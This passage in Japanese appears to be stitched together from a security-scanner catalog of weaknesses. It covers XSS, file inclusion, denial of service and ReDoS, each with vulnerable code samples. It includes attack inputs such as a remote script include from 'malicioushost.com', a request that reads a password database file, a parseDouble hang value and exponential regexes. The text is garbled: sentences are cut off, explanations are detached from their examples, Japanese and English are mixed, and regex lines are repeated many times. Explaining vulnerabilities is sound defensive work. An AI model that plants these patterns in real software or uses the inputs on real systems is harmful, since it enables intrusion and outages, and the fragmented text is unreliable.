の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。sap.ui.core.HTML コントロールの content プロパティなどの、コントロールが動的に安全でない HTML を生成する場合です。
sap.ui.define([
'sap/ui/core/Control'
], function (Control) {
return Control.extend('CustomControl', {
metadata: {
properties: {
foo: { type: 'string', defaultValue: '' }
}
},
renderer: {
render: function (oRm, oControl) {
oRm.write('<div>' + oControl.getId() + ':' + oControl.getFoo() + '</div>')
}
},
init: function () { }
})
})
foo 属性は、アプリケーションの別の部分からユーザーが制御するデータが渡される場合があり、そのデータは DOM に直接レンダリングされます。foo に渡される情報が標準的な英数字のテキストのみを含む場合に正しく動作します。foo にメタ文字またはソース コードが含まれている場合、コードがレンダリングされると、このコードがブラウザーの DOM に追加されて実行できるようになります。
<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>
$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});
eid のテキスト入力からの従業員 ID に標準の英数字テキストのみが含まれる場合に正しく動作します。eid にメタ文字またはソース コードが含まれている場合、ユーザーがボタンをクリックすると、このコードがブラウザーの DOM に追加されて実行できるようになります。攻撃者がユーザーに悪意ある入力をテキスト入力に入れるように仕向けることができれば、これは DOM ベースの XSS になります。document.domain など、スクリプトを実行できるページの生成元を決定する設定に渡されます。document.domain を同じように設定し、まったく同じドメインにいるかのようにページ上でスクリプトを実行する可能性があります。domain を受け取り、それをページの同一生成元ポリシー (SOP) のドメインとして渡します。
<SCRIPT>
var pos = document.URL.indexOf("domain=")+7;
document.domain = document.URL.substring(pos,document.URL.length);
</SCRIPT>
document.domain に渡されるため、ページが「http://www.example.com」にある場合、document.domain は「www.example.com」または「example.com」に設定できます。「com」または「example.org」に設定することはできません。
...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1 では、攻撃者は悪意ある値を includedURL に指定することによって、動的な include ステートメントを完全に制御できます。その結果、プログラムは外部サイトからのファイルをインクルードしてしまいます。web.config などの平文のファイルである場合には、そのファイルは HTML 出力の一部としてレンダリングされる可能性があります。より深刻なケースでは、攻撃者が自身の制御下にあるリモート サイトへのパスを指定できる場合、動的な include ステートメントでは攻撃者が指定した任意の悪意あるコードが実行されることとなります。
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB ファイルの内容を JSP ページにレンダリングするため、システムのセキュリティが危険にさらされます。c:import タグが使用され、ユーザーが指定したリモートファイルが現在の JSP ページにインポートされています。
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals オプションがデフォルトで有効に設定された状態で頒布されていたため、攻撃者は簡単に内部サーバー変数を上書きできました。register_globals オプションを無効にすることによってプログラムが File Inclusion の脆弱性にさらされる危険性は制限できますが、この問題は最近の PHP アプリケーションでも発生しています。 $server_root と定義されているアプリケーションの下にファイルをインクルードしています。
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals が on に設定されている場合、攻撃者はリクエストパラメーターとして $server_root を指定することによって $server_root の値を上書きできるため、動的な include ステートメントを部分的に制御できるようになります。
...
<?php include($_GET['headername']); ?$gt;
...
Example 2 では、攻撃者は悪意ある値を headername に指定することによって、動的な include ステートメントを完全に制御できます。その結果、プログラムは外部サイトからのファイルをインクルードしてしまいます。/etc/shadow などの平文のファイルである場合には、そのファイルは HTML 出力の一部としてレンダリングされる可能性があります。より深刻なケースでは、攻撃者が自身の制御下にあるリモート サイトへのパスを指定できる場合、動的な include ステートメントでは攻撃者が指定した任意の悪意あるコードが実行されることとなります。
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter() メソッドが、リモート IP アドレス (RemoteIpAddress) を、RateLimitPartition の作成時にパーティション キーとして使用します。
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future 関数の実行時間を指定できます。大きな数値を指定すると、攻撃者が Future 関数を無期限に拘束する可能性があります。
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
例 2: 以下のコードでは、文字列を zip ファイルから読み取ります。このコードでは、
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine() メソッドが使用されているため、読み取られる入力データのサイズに境界が設定されないことになります。攻撃者は、このコードを利用して、OutOfMemoryException を発生させることが可能です。また、大量のメモリを消費させて、プログラムがガベージ コレクションに多くの時間を消費させるようにしたり、後続の操作でメモリ不足を発生させたりすることが可能です。
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
例 2: 次のコードは、ファイルに書き込みを行っています。このファイルは、ユーザー エージェントによって閉じられたと判断されるまで継続的に書き込みと再書き込みが実行されることがあるため、ファイルの内容を分析するのに必要なディスク クオータ、IO 帯域幅、およびプロセスが影響を受ける場合があります。
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect 関数の接続タイムアウトの期間を指定できます。大きな数値を指定すると、攻撃者が connect 関数を無期限に拘束する可能性があります。
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
例 2: The following code reads a String from a file.このコードでは、
Kernel.sleep(user_input)
readline() メソッドが制限を指定せずに使用されているため、無制限の入力が読み取られます。攻撃者はこのコードを利用し、メモリを大量に使用してプロセスをハングアップさせることができます。最終的にメモリをすべて使い果たすことがあります。
fd = File.new(myFile)
line = fd.readline
Formatter.format() で Format String 引数を指定できます。
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException などの例外がスローされる可能性があります。これは try ブロック内で発生した例外ではないため、アプリケーション障害につながる可能性があります。 accountNo が、出力結果の文字列に含まれることになります。java.lang.Double.parseDouble() の実装および関連するメソッドには脆弱性があり、[2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)] の範囲にある任意の数をパースするときに、スレッドをハングさせる可能性のある関連メソッドがあります。この不具合は、サービス拒否 (DoS) 攻撃の実行に使用される可能性があります。
Double d = Double.parseDouble(request.getParameter("d"));
d が、"0.0222507385850720119e-00306" などの範囲にある値となっているリクエストを送信して、プログラムがリクエストを処理するときに、ハングさせる可能性があります。
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1 を踏まえると、攻撃者が "eeeeZ" という一致文字列を指定した場合、正規表現パーサーが一致を特定するまでに実行しなくてはならない内部評価は 16 件あります。攻撃者が 16 個の "e" ("eeeeeeeeeeeeeeeeZ") を一致文字列として指定した場合には、正規表現パーサーは 65536 (2^16) 回の評価を実行する必要があります。攻撃者は、連続する一致文字の数を増やすことによって、容易にコンピューティング リソースを消費できます。この脆弱性の影響を受けない既知の正規表現の実装はありません。すべてのプラットフォームと言語がこの攻撃に対して脆弱です。routes.Ignore メソッドを介したワイルドカード ルーティング パターンの統合によって発生します。このメソッドを使用すると、外部入力でルーティング動作を定義できます。具体的には、{*allaspx} などのワイルドカードの使用は、攻撃者にルーティング アクションを操作する足がかりを提供します。重要な問題は、これらのワイルドカード パターンを制御する入力が細心の注意を払って検証またはサニタイズされていない場合に発生します。